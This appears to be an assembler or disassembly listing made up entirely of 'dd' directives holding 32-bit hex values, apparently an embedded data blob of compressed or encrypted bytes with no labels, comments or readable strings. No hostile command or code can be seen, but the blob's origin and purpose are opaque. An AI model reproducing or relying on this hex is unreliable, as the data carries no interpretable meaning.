		dd 0FF0FEAB3h, 808BFACDh, 5A9C814Eh, 0D64069Bh,	384AFCF9h
		dd 80E36A0Eh, 0E811F83Ch, 0DAA70059h, 0B785C8F0h, 0BCA0C179h
		dd 32017ED2h, 972DD714h, 0AC85950h, 0FA3D0047h,	6E3E936Ah
		dd 0A07A6120h, 9CFD1528h, 56CC4800h, 760DDAD2h,	0F5E10283h
		dd 78402C52h, 0DC97B8E0h, 9EFE2B00h, 0E5CA4D11h, 7F2300DAh
		dd 35044709h, 5F00EFEEh, 2883EF3h, 197BBF4h, 0A7D575C6h
		dd 8AE3F063h, 0E4062098h, 53604583h, 77368974h,	0BCF49F9h
		dd 8416F920h, 0BD4C4E80h, 0B8001947h, 4324E126h, 0F0610718h
		dd 97953h, 0FD7FE434h, 0A1764BCBh, 0FAFBBA00h, 22584A75h
		dd 0FC3D0044h, 835E10Bh, 0B100303Ch, 0D506491Eh, 0F8B376h
		dd 6BB97CBEh, 95AE0BEDh, 0F5D03D1Eh, 327FC6C0h,	89B018h
		dd 0F2CBEB16h, 0EE98FF25h, 52AE3Ah, 0A58FD77Bh,	515D42h
		dd 33B8BB1h, 275FA896h,	6761D503h, 0D0143872h, 7499E068h
		dd 0A7E600FEh, 1913BE20h, 0CD07B7E5h, 9BF38907h, 5BF4805Fh
		dd 517221h, 7FA4CB22h, 0C854C54Bh, 0BF689900h, 0E39CB5C6h
		dd 0D9110064h, 4DA3BB19h, 0AE004A2Eh, 0C43C977Ch, 8DDBE5h
		dd 4682DC69h, 54206F1Fh, 9E1E8E07h, 836056D1h, 748D9FCh
		dd 932A9A7Eh, 0E523A01Ah, 3A7F2D75h, 3C9B700h, 0AB0E1976h
		dd 0E4CF28C7h, 0B64A03DCh, 0B7BE8ED4h, 0A6D897EBh, 0D1012C3Fh
		dd 0F8CFC6A1h, 0D9CDF33Ah, 94DBDCh, 1F68E815h, 4C13FB7Bh
		dd 9FF0AC01h, 0B31256B6h, 1F807EE7h, 0C05CFAD2h, 1BC60334h
		dd 420016DBh, 0FC8B39F3h, 4C023DDAh, 0F00480Dh,	64F7D027h
		dd 0BE750338h, 9D16913Dh, 1B40F642h, 0DE292D9Fh, 0BFA51822h
		dd 0D4EE4004h, 5A6A5700h, 10866F84h, 98CDA07Ch,	46C138D6h
		dd 43DB324h, 80248F14h,	0FCA4BF9Ch, 0FEC92202h,	0C0D6CF76h
		dd 0EEBB4Dh, 0E0B748B6h, 296FB938h, 18AFD900h, 46F10F01h
		dd 0B97009Bh, 35BA70EEh, 0A500851Ch, 0FA26C258h, 0F862B24Bh
		dd 660F00F4h, 0B9B5406h, 760425E4h, 287181F3h, 5B565480h
		dd 0B24928FEh, 33C8F3B8h, 0FDEA96h, 9AE50DACh, 52B77C13h
		dd 0FB6AFE00h, 6F339C6Bh, 251D1F27h, 0E8C24BAh,	468FD757h
		dd 26F0B580h, 10ECB440h, 14A7DD24h, 7520D000h, 0B09969E4h
		dd 0F75012A3h, 547003BDh, 0FAD8AF9Fh, 0CA00D788h, 0A2856014h
		dd 38A3DE96h, 2180C41Bh, 0E92265FDh, 5FE235C8h,	486BA909h
		dd 1E2380BFh, 4DC34BCh,	0A7A6FF2Eh, 52E8824Ch, 6B3E3CC4h
		dd 77DA007Eh, 829A978h,	440900Fh, 0A304600Dh, 0C2E0805Ah
		dd 0E2FC1C25h, 8067BE3Bh, 9133C53h, 17E9A77h, 0AC646C71h
		dd 30102439h, 6B26E3B0h, 4209D57Fh, 69240306h, 104DC813h
		dd 1A730039h, 235B60E7h, 0A01A4B5h, 8704FA5Eh, 4DF85309h
		dd 0ADC32679h, 125283D8h, 0ABD0D8CCh, 0C8007A6Bh, 0FBBE0104h
		dd 26B86E5Eh, 34CDC0Bh,	0A34A951Dh, 229D86C8h, 169C5800h
		dd 0D2346BE2h, 7AEA0067h, 0B8856CE4h, 3C0055ABh, 948D03F9h
		dd 182A8C09h, 4049B05Bh, 0C81D9954h, 3440D96Fh,	413AF2C3h
		dd 1FEB070h, 78E15B8Fh,	30D81F8Eh, 11005458h, 3959BCACh
		dd 5B41B3h, 0CFE531A1h,	0C298699Eh, 0CEE83505h,	0FC009DBDh
		dd 7E2BDB92h, 245800A1h, 36B2B90Ch, 0D348105Fh,	6D8C0019h
		dd 0BCA78228h, 7339085h, 1A5ACD17h, 0EE4AD095h,	0D4007CA1h
		dd 0B8E1EB20h, 23B149Ah, 0ACED13D3h, 0A680CBFCh, 3084E0B2h
		dd 2D58DDFEh, 7A54012Bh, 965D749Eh, 95E730h, 91D03936h
		dd 0AB940366h, 61FCD405h, 0CC0C6E6h, 3A6FF949h,	0CE15C94Fh
		dd 630080F8h, 0EAA25D31h, 93FFCCDh, 9C1400FFh, 6B950888h
		dd 4976030Bh, 539FE23Ah, 0C103A8D0h, 9E8ECA00h,	3EC319F9h
		dd 2ADC0EB3h, 7BBF148Dh, 4E9A5060h, 6D5C6A56h, 7FB00002h
		dd 5A8C5069h, 0B75E0064h, 720F6686h, 0E709F1EBh, 0C75FAAh
		dd 0FA099EBEh, 0DA3F014Ah, 6AF057B2h, 1BB864D0h, 0C2473101h
		dd 6CF4A72Ch, 486C20h, 4F694929h, 239961E4h, 8ECC301h
		dd 6DFAC4D3h, 605B3E20h, 0C6061181h, 850234D1h,	78E20752h
		dd 0B10CC04Fh, 0DF2301AEh, 103CEF56h, 296420FCh, 4CCE5407h
		dd 53679B7Bh, 0A1517900h, 86090036h, 3F480ECh, 850BD29Dh
		dd 805BA721h, 46225200h, 0A6EB0BAAh, 84807B5Ah,	0BD02232Bh
		dd 0D9F7DC04h, 0C9C2B418h, 62D68711h, 0BC156F5Fh, 0D801F416h
		dd 7844F980h, 671E5180h, 72363005h, 0A0310C01h,	0EE11D5CCh
		dd 0E84040DAh, 0EA0D0075h, 0B152B209h, 1503B7D6h, 0BE4D20C6h
		dd 7537880Bh, 2620044h,	6C2FADA1h, 4005443h, 0D7332E6Ah
		dd 0DE5B0CD3h, 4B6E5F20h, 6280CCC0h, 0E82C6504h, 0D0979C00h
		dd 334F0528h, 7946FAD2h, 0CC2250F4h, 0C1920037h, 0AF86C52Ch
		dd 833D6F06h, 3EF4D4B8h, 4846E724h, 446D6100h, 6C18E0h
		dd 1467FDD0h, 85305B23h, 5E229800h, 1B7143A0h, 794B00DCh
		dd 0D5897320h, 5500DF2Fh, 62013FEEh, 2B6897h, 98B1C9CEh
		dd 78D79C5Bh, 6B007279h, 9B4708C2h, 139DECh, 0A526F4BDh
		dd 0E2BB9FDCh, 96838012h, 85C58801h, 44628A6Bh,	21DF900h
		dd 9E3608ACh, 62E34600h, 0FC8A7C7Fh, 15D7002Fh,	0E265A956h
		dd 0C284B83h, 0D04BC7Eh, 0DFAB973Fh, 6AA3ECC0h,	0A823AEBh
		dd 92B00500h, 4CC002D5h, 620A460h, 2CF91B30h, 5485F71h
		dd 0B230E7Bh, 0CC20DAA0h, 6FD75CA8h, 0DD99B901h, 0E1FE300Fh
		dd 33C97EECh, 44DAE5B8h, 8256460Eh, 8000F25Eh, 0AA39EE4Fh
		dd 740A02AEh, 45F6172Fh, 0BDB8A0C0h, 5BE91400h,	0FC166790h
		dd 1CB02Bh, 0FA53C011h,	73D17605h, 0D6473B0Bh, 0F3248367h
		dd 0A2F9E064h, 3A270043h, 81C1E95Eh, 6912C592h,	0D40137F6h
		dd 760AA366h, 220320h, 0D18DBC17h, 0F5A20BD7h, 9FE69901h
		dd 33880337h, 1611296h,	5F4FE1ECh, 0F0586078h, 7881F5Dh
		dd 3B5C8F06h, 0F40984D0h, 0B4870B25h, 0D0802183h, 656024F1h
		dd 14E00801h, 33931B62h, 0C090C4h, 0A6B127ACh, 0C40A4E98h
		dd 541224B8h, 14C4AAF2h, 289D10C0h, 0A45F4827h,	0D105AC48h
		dd 0C5EF1F7Dh, 0DA3800ACh, 6190C170h, 3C00104Ah, 1DF89FFEh
		dd 827200B3h, 0BB59088Eh, 53016134h, 0E285134Bh, 6E136DEh
		dd 0E8F868CDh, 5D840370h, 3B7ACF2Fh, 0A7E99A8h,	4F400D00h
		dd 953DE76Fh, 0A06D6051h, 47CDD5F5h, 9D1F50E8h,	34C0B9D0h
		dd 4DAECA75h, 0D1F009E0h, 8804137h, 0BA927DDBh,	360070F6h
		dd 0B38B3A1Ah, 0C4F0E5h, 8D4B640Bh, 1ED76582h, 7870D1F8h
		dd 0C3FD1B00h, 0F56A1432h
		dd 8AB948ACh, 1EC85F00h, 616F3949h, 0EEC9F62Ch,	0A3184000h
		dd 4592ED3h, 0EF7841F1h, 8788D413h, 0D122E04Ch,	0E00BCC3h
		dd 8AC7AF8Dh, 0E2235246h, 12C60E10h, 0F420EBFDh, 0D3136A53h
		dd 1DB19324h, 8756023Fh, 80F0E3D7h, 916B6E84h, 180300FCh
		dd 8C97E9A5h, 0AC00054Ah, 3CB1DD60h, 20EED1h, 0D97648CCh
		dd 9427F619h, 0A5077001h, 68E22D03h, 0AB3096h, 0B9F62CA9h
		dd 0E11EA97Ch, 2133CCDEh, 0A352CBC2h, 0DFC341h,	3AD62F2Ah
		dd 2495C8Dh, 8E6818C0h,	7B5F634h, 55BA9522h, 0EA7EF078h
		dd 9700AC20h, 466ED52h,	0AA055Dh, 81B4F1EFh, 8D0A74CBh
		dd 0E7D60C05h, 34059CC1h, 4000C7DDh, 7DF1FFA8h,	4938C0BBh
		dd 15FC3A9h, 8079CEh, 8D02DFD7h, 0F5360F2Fh, 0EF80D56Eh
		dd 173A8374h, 1E9BEC03h, 98CADF5Ch, 0C347C2h, 20FBF0C5h
		dd 1144FC35h, 12185303h, 0D0761F5Fh, 108651h, 0E9981536h
		dd 0AC9D45D7h, 22278000h, 0C11B252Ah, 3DE0046Ah, 0FB071F49h
		dd 23A82400h, 0F4E3655Ah, 1B6300C2h, 1130B31Ah,	0B93C8928h
		dd 0C9CF8017h, 0F755E367h, 6CEB0075h, 0A3CA35ADh, 0C800DF4Eh
		dd 1C48BD6Dh, 0C02D12h,	0A5F519F7h, 2B893FC7h, 64C22C04h
		dd 0BE029Bh, 994CCAC0h,	300DDCCh, 32EEB2AEh, 3A5675h, 0C8A6FBECh
		dd 29E0D3FDh, 4AF0B402h, 0A522540Eh, 47E059Ch, 5E984A0Ch
		dd 8F144B10h, 0EFCB846h, 20F0AD88h, 0DF852FF6h,	8C943E43h
		dd 13FD8A1Eh, 7FFF0F06h, 87680F92h, 96F10480h, 40606EAFh
		dd 4A5C6659h, 8051CFB6h, 0F7E38130h, 5D39485h, 1E904028h
		dd 0F6EC1051h, 2E1F6D01h, 0C1117E0Dh, 55C02F86h, 32C9415Ah
		dd 0DDB908D2h, 5D0A60A2h, 6F9DED00h, 0CB59C080h, 6CD36AEFh
		dd 0D301B02h, 9082E25Fh, 80094070h, 0AC3A0FE7h,	683CC1h
		dd 8DEA97B3h, 0C90517FDh, 310085E8h, 8052C3ACh,	0F7D7781Dh
		dd 7C81603Eh, 0AC0333A3h, 98AC004Ch, 0CAF23FEFh, 0AE74345Eh
		dd 9C2FA9C1h, 9448426Fh, 83771892h, 80AAA9C9h, 38339B30h
		dd 60F78B6Ah, 0E3CB1814h, 80FB6EABh, 9C352139h,	482FA979h
		dd 1733F0F1h, 21002408h, 0E89C066Ch, 0C93660h, 0B2B0D0DCh
		dd 0FDE49D8Fh, 774BF8C7h, 55932B10h, 0E1D4F48Eh, 0BF421887h
		dd 243F5087h, 8A09621Fh, 29573DFh, 889A8D00h, 0E41EA0B0h
		dd 0DFC10D20h, 4848255Fh, 0AD18AE2Ch, 0D920E550h, 5AF72082h
		dd 9A7BD500h, 0DC9E04FFh, 5D6480F0h, 0D6487612h, 0A6024C40h
		dd 38499C1h, 632D22AAh,	0F5A22511h, 0AE23A0A0h,	3F75CBC1h
		dd 1A55E000h, 0E3CAA6ABh, 5DB33A67h, 0B40D2D00h, 0B11249A3h
		dd 81B27100h, 0FFF7C619h, 0BB061EBDh, 0CE5B8025h, 0D8C401BAh
		dd 8B0F300Bh, 0C90780BFh, 68FD0Ah, 7AE2C2D4h, 0EFCFB7B2h
		dd 0D3F78700h, 0ADBA2132h, 6E3E0079h, 4BFFAB51h, 80042F9h
		dd 54E8707Dh, 38B74EF1h, 0DC806407h, 1CFA9C03h,	870041BEh
		dd 67A5FFA3h, 318978D6h, 0F84009BDh, 0EE1C088h,	0FCA6DB0Fh
		dd 8F080E73h, 0A53A000Bh, 0EEC0C178h, 795E007Bh, 0B70315CDh
		dd 50C1F860h, 4C8EA7CBh, 0E5D6BD0h, 0DA62456Ch,	9A753100h
		dd 0FC0553BAh, 74D9A7A2h, 907CC6h, 75474852h, 0F2BB5AF6h
		dd 0C8C0CBE6h, 0ABCC65A3h, 0C1760189h, 6393AAEh, 0E00ADC14h
		dd 80EB6800h, 0F25D7EF4h, 4D4F0041h, 57824448h,	0F85CA377h
		dd 0F5F0F40h, 868C86DBh, 0CC760019h, 0A2F83952h, 0FB61EF84h
		dd 0D8645EB8h, 0BE71A050h, 38310C5Ah, 14D9FAE0h, 2ECB0A00h
		dd 6F4241DBh, 5160ED53h, 0B4E5037Fh, 370D225h, 0C46426B8h
		dd 224E5F00h, 755E14B3h, 0E5E60077h, 8F34BEF3h,	0C40997BCh
		dd 803D3EF2h, 0D94CE132h, 28D40752h, 4076B354h,	73925BF7h
		dd 0F586E500h, 0F35F0485h, 4908CC6Dh, 8B1DB521h, 2A0009E5h
		dd 0D41D6508h, 0CAED01C7h, 0C4627B6h, 895BE828h, 3C25103Ah
		dd 99D70072h, 488F8037h, 762C1990h, 0B81B08A0h,	37828321h
		dd 8870F79Ch, 5FA751h, 49E0A9D0h, 856BEF4Ah, 1839E939h
		dd 0EC88D8EBh, 0CF4E3F6h, 0F920C47Dh, 56511A9Bh, 0B88B0A59h
		dd 0D1FB0E08h, 0DF742D40h, 0DC31244Ch, 734608B7h, 879E2080h
		dd 0C2D05CFBh, 0C7601B00h, 62211650h, 778F0002h, 0B10BB9AEh
		dd 2800B465h, 8E835FA6h, 0D85067Dh, 9A519BA7h, 7E789180h
		dd 5A42D88Eh, 5031A774h, 0FB8A9110h, 0D1D66607h, 7E90C5A9h
		dd 1EDCE0A8h, 58B028D5h, 0E9CD7180h, 91009D79h,	1B7CA41Ah
		dd 0A052E20Dh, 4BEF5A3h, 93D93988h, 2E42C041h, 0C9B8FB01h
		dd 0DF05CC98h, 684DF7A2h, 0DB327480h, 360A06B6h, 113CBD55h
		dd 52060485h, 1001F7h, 5DDC40DEh, 0B0A215D7h, 8A334C00h
		dd 301A10FAh, 5EF80152h, 23DED5DAh, 0FE299072h,	1B31B390h
		dd 115B0428h, 0EA12707Bh, 9008CA11h, 440C5944h,	22846676h
		dd 9C4289E6h, 22779811h, 6F3800D2h, 2D4A347Ah, 8F00732Bh
		dd 62865614h, 90CAB4C3h, 53DF0042h, 543C698Dh, 7078F30h
		dd 0A2D06A18h, 0D614ACB0h, 2D05004Ch, 3478015h,	930050B1h
		dd 4F998116h, 0EC263462h, 270900F5h, 8BA33ED3h,	0EB0020DCh
		dd 0EF623D11h, 478E92h,	5FE61E4h, 4D90E78Fh, 3D17F800h
		dd 488B7732h, 8AAB00E1h, 3C40B5C1h, 130C5A8h, 0F5B72014h
		dd 0B80E72B0h, 38A40A7Ch, 0D03154h, 5F24187Ah, 3F393A39h
		dd 0CFB58012h, 0ADCA6EDDh, 3D6607A9h, 5CD8AB40h, 0D6006511h
		dd 0FADBCFA6h, 28E52F1Dh, 0F4B384h, 0C3891548h,	0F69D65EBh
		dd 0FEE7D600h, 442D4314h, 955A002Ch, 42F3400Dh,	0F7DF939h
		dd 6E006177h, 1D79A58Dh, 0F765931h, 384B78C2h, 172681A0h
		dd 7000673Fh, 6457884Ah, 7C6619h, 682D9356h, 51493CD5h
		dd 4C09787Fh, 80760644h, 6D6C13BCh, 366CEBF8h, 512EB200h
		dd 2125E6A8h, 18039C00h, 5746A58h, 76E302F9h, 892F96A7h
		dd 9F80D163h, 0C30C7B01h, 0E0B30A08h, 65630004h, 47515630h
		dd 0E2FC9B4Fh, 0A7CE8500h, 940CC6B0h, 895F00DBh, 9CA8587Dh
		dd 1C07E3A4h, 81ABBC76h, 40621090h, 0A1590201h,	0B2E6338Dh
		dd 0F50A0440h, 42A39F00h, 0AFD106BCh, 0E07E003Dh, 1D09DAA9h
		dd 7F0013B6h, 0DFC3A193h, 30794AD6h, 0AA1EA89Ch, 3D004FA2h
		dd 0FB089BEh, 0F96163h,	59ED4E07h, 1825E7B7h, 0B61B8300h
		dd 3CD40603h, 4542002Eh, 3A663243h, 417065AEh, 0C2970D00h
		dd 5E46956Dh, 6120C7A3h, 0A64430C9h, 0D9FE62FFh, 90BD5403h
		dd 0D995AD5Ah, 8AEC6614h, 0D3FB00D7h, 6155AF09h, 3248EDB0h
		dd 0B78B00F8h, 0F4C4DAC3h, 5B860079h, 0DF101136h, 0D9005083h
		dd 31DEA9E7h, 144ABCh, 52A213B7h, 6965DF19h, 0E5C7C00h
		dd 8DA65BD7h, 80854824h, 0BFF32Eh, 4E7DC691h, 9500BEA8h
		dd 0AF7C2252h, 0A0B93E1Ah, 31426FBh, 0B584FCCAh, 86E14E65h
		dd 0D9409F7Eh, 0EC40EEDEh, 9354E1CBh, 446907CEh, 80831E72h
		dd 6DB310C9h, 0B60B2500h, 0B1AEC560h, 0BEBF0962h, 9583D9B5h
		dd 33C00743h, 4B001FF4h, 5283E6FBh, 0C037F995h,	0EBE20AF8h
		dd 0DD02C0DEh, 9E7A18B0h, 808443F7h, 0EEF6729h,	79FF6CC8h
		dd 0E11A20E7h, 0D8BD6BDCh, 30001C69h, 0FA775AC3h, 36928Ch
		dd 2FC74260h, 0D26764DFh, 6B542202h, 4010DD27h,	6DBD68h
		dd 3CE14ABAh, 74D74DBFh, 31E7F701h, 0EBCEDCAFh,	123EB420h
		dd 5373A645h, 0BF40062Ch, 33014006h, 0CC16604Eh, 2820AD77h
		dd 2E090F7h, 3F292AAh, 0B8E05A1Bh, 103B142h, 0E3BB8D6h
		dd 0A95901F6h
		dd 944E1CBCh, 0E0837095h, 263D7D01h, 0DD284FA3h, 7C4A5DCh
		dd 1DCA2B8Ah, 460F209Bh, 5F00EFD7h, 857FF260h, 2423A594h
		dd 1425D0CCh, 0FA1EC454h, 0B8FC8CC5h, 4F0C03B0h, 80212959h
		dd 94F40098h, 0B66B464h, 67099DAAh, 81C34AA2h, 4CECF10Ch
		dd 8D2030h, 0F5F96C52h,	0B139A3E3h, 0EFB5B07h, 0A0FE4670h
		dd 405633E5h, 0A2790022h, 21DC8625h, 230ED9B9h,	8F5595BFh
		dd 532F805Fh, 84A1CEh, 6F6AA490h, 5D202445h, 0D800DF72h
		dd 4CF5D306h, 153F627h,	7DEA59C6h, 0E7E16AC9h, 0E0B213C0h
		dd 7BD390Fh, 9E8820B3h,	1EBE3FBh, 0BC41CE0Eh, 34524467h
		dd 0D900EFA0h, 933C09FFh, 2C42B3h, 1AB592BEh, 0DB68C2B1h
		dd 0A123Dh, 59A557C4h, 3E4F4AEFh, 0DF80C32Ch, 0D844C23Dh
		dd 650E403Bh, 216703F6h, 6C74CD0Bh, 7E28C8h, 2568A8BFh
		dd 794D2FB1h, 7C0E9800h, 163557DFh, 3DEC0046h, 8B2C5FBDh
		dd 6D0124D6h, 6E03E838h, 99D5DF65h, 0B90B003Fh,	47CE6A51h
		dd 7153830Eh, 50C9205Dh, 1D46E767h, 53FA90B0h, 0A9EC0056h
		dd 37DA3B3Dh, 21CFB218h, 125A119h, 0FA47F1CCh, 0D805E5E3h
		dd 0FB1D510Bh, 0DD47263Ch, 0F3F098DBh, 2419B65Bh, 0CFB82Bh
		dd 49383712h, 857A3340h, 0E51E1C7Ah, 31004E9Bh,	24DB8983h
		dd 0A88010Dh, 3BCF74C9h, 0E2349F6Fh, 0DE7AF100h, 3E0BEF7h
		dd 32CDE89Eh, 0EDE85F65h, 749830A8h, 1D0018FAh,	76A43469h
		dd 7DD6E5Bh, 0D5E45FFFh, 0B90B6001h, 0BD600CA1h, 7CD387D2h
		dd 0ECEE0028h, 2D5492ADh, 48009DB4h, 60C12739h,	733C0Ah
		dd 217FB8CAh, 3101CB6Fh, 0B55EAA00h, 0CDF95610h, 0A8EC0F7Bh
		dd 0B0C06775h, 7E338562h, 299D9A07h, 0A0103015h, 0AB7F18h
		dd 0CAB048C6h, 3C04BB1Ch, 1F79ED03h, 90AF3B19h,	490703h
		dd 0C3ACB433h, 77B043D0h, 0E399A400h, 346DF468h, 8E1700D5h
		dd 0E0C8F7EEh, 1D0351A2h, 0DF0AC27Ch, 29EC89EDh, 627720h
		dd 0D26D8D68h, 8FAC5251h, 6EF00F07h, 0DDB01E46h, 48DFCAC7h
		dd 0D5021481h, 9BCD0254h, 427CA240h, 0B47358h, 0EB5038F9h
		dd 0ABFD2Dh, 48EF5FCCh,	0BCB93398h, 20DAD604h, 0BA83725Bh
		dd 0D75CD09Fh, 8D2A0F5Fh, 0BBC5C4F7h, 6507C088h, 78006C14h
		dd 3DE2227Ch, 36D730h, 5A66161Ah, 0E7E96F53h, 469CD00h
		dd 0B0834E61h, 0A1493B54h, 8463CC82h, 6440AE40h, 6CFC3EB6h
		dd 0C5178CB8h, 0DD00FFFCh, 0D45DA234h, 37ED0006h, 3FC3B191h
		dd 0BE03353Ch, 9DE8E9D3h, 0C7380047h, 600B9630h, 24007210h
		dd 582AD5ADh, 0E4D7F654h, 0E080900Dh, 0F300F3EFh, 5A016FFAh
		dd 0D59335F4h, 4F01558Bh, 917EF8BEh, 8001AF3Ch,	30570FFFh
		dd 5FE092h, 1940766Ah, 0B4262FBEh, 0E0A2E0Eh, 0D4DD4047h
		dd 1A5B203h, 0D131EF52h, 809619A8h, 4C2855FCh, 3C63A772h
		dd 940938BCh, 8800D801h, 0EC218280h, 0E7AC4D00h, 0BC7BB64Eh
		dd 35F02469h, 0F69C90h,	571E81E2h, 1000648Ch, 6AADE1C8h
		dd 0E0A270h, 29FF3CDCh,	196C95F5h, 889B6324h, 9811F300h
		dd 0CEC865Eh, 252B39F8h, 0B0EC4B18h, 0CC9FBA00h, 7E1B5159h
		dd 0FB350128h, 0A37DDC31h, 2DF0EFC0h, 530047E5h, 45A3BA0h
		dd 0D2116Dh, 840F8301h,	61520E4Fh, 9337E800h, 0B41E917Fh
		dd 25BB0054h, 2FEF7B4Dh, 0AA0E62ACh, 0FED95664h, 0A53FE940h
		dd 28A75BE1h, 80D460h, 0F4DBBC39h, 5639CB9h, 0FCA1F4A1h
		dd 6B1283D3h, 2000E597h, 2DE21966h, 92430648h, 18FE2E28h
		dd 7D428300h, 0F487C6ECh, 0DC5600AAh, 936FBE2Dh, 723EC58Bh
		dd 44ECD035h, 27117F00h, 0ECA4B09Dh, 93E90FB7h,	0A241593Bh
		dd 204B51C5h, 0B3007860h, 0E53AC06Bh, 0E8671914h, 156D30CBh
		dd 0E2A85F21h, 0A998D600h, 26DEDA73h, 870D392Bh, 0D9659D81h
		dd 0F84DA18Ah, 0C8000607h, 14A935A0h, 0ED7839Bh, 3C7C7E05h
		dd 64160017h, 182B993Fh, 0F0153100h, 0E082ED61h, 3AE0CDh
		dd 0C1725508h, 4612E2FAh, 0FCFDC400h, 3C71FB8Ah, 0D9170E7Dh
		dd 0E093110h, 0D073CC87h, 19794A08h, 0BD947401h, 0D672CF23h
		dd 6084D542h, 7DE91408h, 0F75C0047h, 51D49234h,	0A42EDB8Fh
		dd 5400C7B2h, 53C380Ah,	6D640960h, 9C005A59h, 20C58D7Ch
		dd 51B28501h, 0C95C33EBh, 80D8C0h, 3E3927FCh, 85A24028h
		dd 9D226100h, 98B5ABDAh, 0B830001Ah, 978356BDh,	4900751Fh
		dd 29BEC02Fh, 0EE6959Fh, 4BBA8437h, 6A088140h, 48001D54h
		dd 8CCDF50Ch, 7CB4355Dh, 3ED31DAEh, 0BA74C0BBh,	362B355h
		dd 0D8B24B31h, 0A340A951h, 13643607h, 0F5C1F7h,	1D8BF46Ch
		dd 4200B67Fh, 0C2C05020h, 80BE1454h, 0D0F867B2h, 108ABF00h
		dd 8353352Bh, 9AE09EBh,	0FC00304Ch, 0AB2D060Ch,	22CBD00Bh
		dd 42A80067h, 0E23C7EC4h, 297D0047h, 0BCDBDE97h, 0AB003E60h
		dd 0E0F522Bh, 1C6B019Eh, 2C4E7F16h, 8BB00BE3h, 90952D85h
		dd 92232ECCh, 0ABE11100h, 0C634846Ch, 48FE094Ah, 0BF806980h
		dd 390E8D8Eh, 2014E301h, 4C4962Fh, 0FEB76820h, 0E0B094h
		dd 0E7F209BEh, 0CF925266h, 0CBB021C0h, 0D2975F3Ch, 0C701BE78h
		dd 59BE16C1h, 0A052D880h, 0DA3C9E9Fh, 94899E8h,	5CEA7C6Fh
		dd 0C41FFB76h, 20C0F99Ch, 6B15BCA5h, 742648F1h,	90D01C00h
		dd 42122DCEh, 2B730B00h, 7CB77D6Dh, 84B100CBh, 7127E9AFh
		dd 0D13B52D6h, 62110015h, 0F6B9EF4Ch, 0EDAB0090h, 2D92EAB6h
		dd 0BC00247Ah, 0A937EB30h, 39F36398h, 25008B9Dh, 0B29C600Ah
		dd 115813Fh, 9C8DDBh, 6523A8D9h, 0DDF45Eh, 95684BB0h, 0DA9A9D67h
		dd 0D5EDE700h, 0FB666F83h, 0EA85F490h, 0A18F0275h, 122E524Bh
		dd 0EEDE9840h, 0CB2A430Ch, 0C61013h, 3F3A5051h,	46947579h
		dd 0D6F00960h, 915AE33h, 5F48E17Eh, 5C41A890h, 2500E490h
		dd 0C5D2679Bh, 13A7BD85h, 1D043336h, 0BF02CF64h, 0EE259BC0h
		dd 0A612605h, 0CFE51754h, 9F472D8h, 48665CE0h, 28CBD024h
		dd 39B87475h, 2E001281h, 0B3CA556Fh, 0C40B45F8h, 723595Ah
		dd 0D5F2AE44h, 60808E03h, 756CAA7h, 99040080h, 0F406F5C5h
		dd 9B0A8B49h, 0D018D10Bh, 9A15C200h, 1725A50h, 4E7D0EA5h
		dd 0C093A1D8h, 9EEC83E9h, 0A2FAB306h, 0D01D1Eh,	0C7FFA3C0h
		dd 0D8084935h, 0EBDAFC00h, 57B524ABh, 233900B8h, 53B045D3h
		dd 81016C4Ah, 0D9A5C7ADh, 91CC8231h, 0A329173Fh, 0D0000E74h
		dd 9BAE4CE0h, 4E00D817h, 0FD3D0426h, 50BFB1A7h,	3B58886h
		dd 706D2375h, 97AF7983h, 0D8F8E011h, 8B13F1D7h,	0CF001D0Ah
		dd 78680E34h, 0A3190013h, 0F481DBB6h, 3FE69ED2h, 370747F4h
		dd 996DCAEEh, 6860803Bh, 77A192h, 4C637908h, 7BB987EDh
		dd 0D6153000h, 953FC10Fh, 40B30129h, 0A0D42849h, 27B04014h
		dd 8571DBADh, 7502B490h, 0C0DF1B88h, 0F502E1E6h, 2E8AECD4h
		dd 76CBA4Eh, 40102B41h,	0F3099BF6h, 0DCBCB83Ah,	7A720ED3h
		dd 31C98147h, 68605190h, 78AF0EFBh, 19A183CEh, 0E8966353h
		dd 0E3247470h, 0C900D13Fh, 0CAC18845h, 0DA6C0B18h, 402EDE48h
		dd 0D93C4300h, 42747A4Eh, 77DD7600h, 0BC146732h, 299A0626h
		dd 0B888C951h, 536D0F00h, 0E432F806h, 10BE6AAh,	0F0DF6855h
		dd 0E8612A86h, 300F7236h, 204D8502h, 0A332FA93h, 42CD3BE1h
		dd 7501433Ah, 54C8C163h, 0F089CDD3h, 28E87E62h,	0EC2D1E32h
		dd 30EB8056h, 1C70197Ah, 8E1C9A75h, 78E0DA9Ch, 73D41D7Dh
		dd 87CB3800h, 44D813E6h, 0EC789AB0h, 0FE010070h, 0C9D62923h
		dd 0A000CF43h
		dd 2799D487h, 2AFF73A5h, 2480B5FBh, 1828490h, 0CC96F6E2h
		dd 3151FC27h, 3CB07A70h, 2A93B803h, 0F06A36BCh,	0F3499Ch
		dd 1B82AF55h, 0E75462FDh, 8D23D100h, 0DF0E109Eh, 4C3F4C41h
		dd 3EE4CD09h, 0BB09CC00h, 0AF127677h, 8409B8Eh,	0FA68425Ah
		dd 3062FA2Dh, 0BD1969DFh, 0E82874F3h, 6F00B884h, 2562D31Dh
		dd 4DA07A28h, 308074EDh, 9506843h, 0D8D16309h, 0A0A38E12h
		dd 88BC6454h, 900A7B6Ch, 0FF5035Ch, 0A0F0340Ch,	0FA86DDB8h
		dd 3BF0967Ah, 79D3331Fh, 0A72BA4C0h, 19E815h, 0BCD09BCh
		dd 0EEAAA9BFh, 2AF89100h, 9923FDFBh, 67D20025h,	7EBC3BE7h
		dd 0A23CF555h, 881A8243h, 8096E8E3h, 0C6DCD4E2h, 47281E35h
		dd 0B03980D7h, 0AF7E1C83h, 0AE931200h, 0C5DF4C4Eh, 23D40E22h
		dd 0E78077AAh, 8219D3A9h, 98F4100h, 276C6AC1h, 0B0DA0B54h
		dd 2820F50Bh, 294A6BD6h, 8180F300h, 550F2A9Ah, 2CA1E21h
		dd 75807FB5h, 423E6416h, 0B600445Dh, 0DAAAD4ADh, 28B30F3h
		dd 0E19FA5FAh, 0AC600518h, 3400336Eh, 9424D551h, 0E8FBF912h
		dd 63DA70A6h, 2109700Ah, 0AE240801h, 940FFA8Ah,	0A0498005h
		dd 2E629956h, 70A88C21h, 1B5BF05Ch, 0EA2301E7h,	9E3EFCA0h
		dd 0E12CCD01h, 0A807383h, 0BC5DE4h, 0C0E4F58h, 0F3323799h
		dd 7950F448h, 8D57F91Bh, 3E89E668h, 75DB39h, 4D7D9434h
		dd 2F3E1428h, 0E8712A00h, 8861A620h, 3F78C243h,	4C807754h
		dd 1FE4E6B4h, 0B6C8A600h, 1A2DE256h, 8C2E00A2h,	65AD2A99h
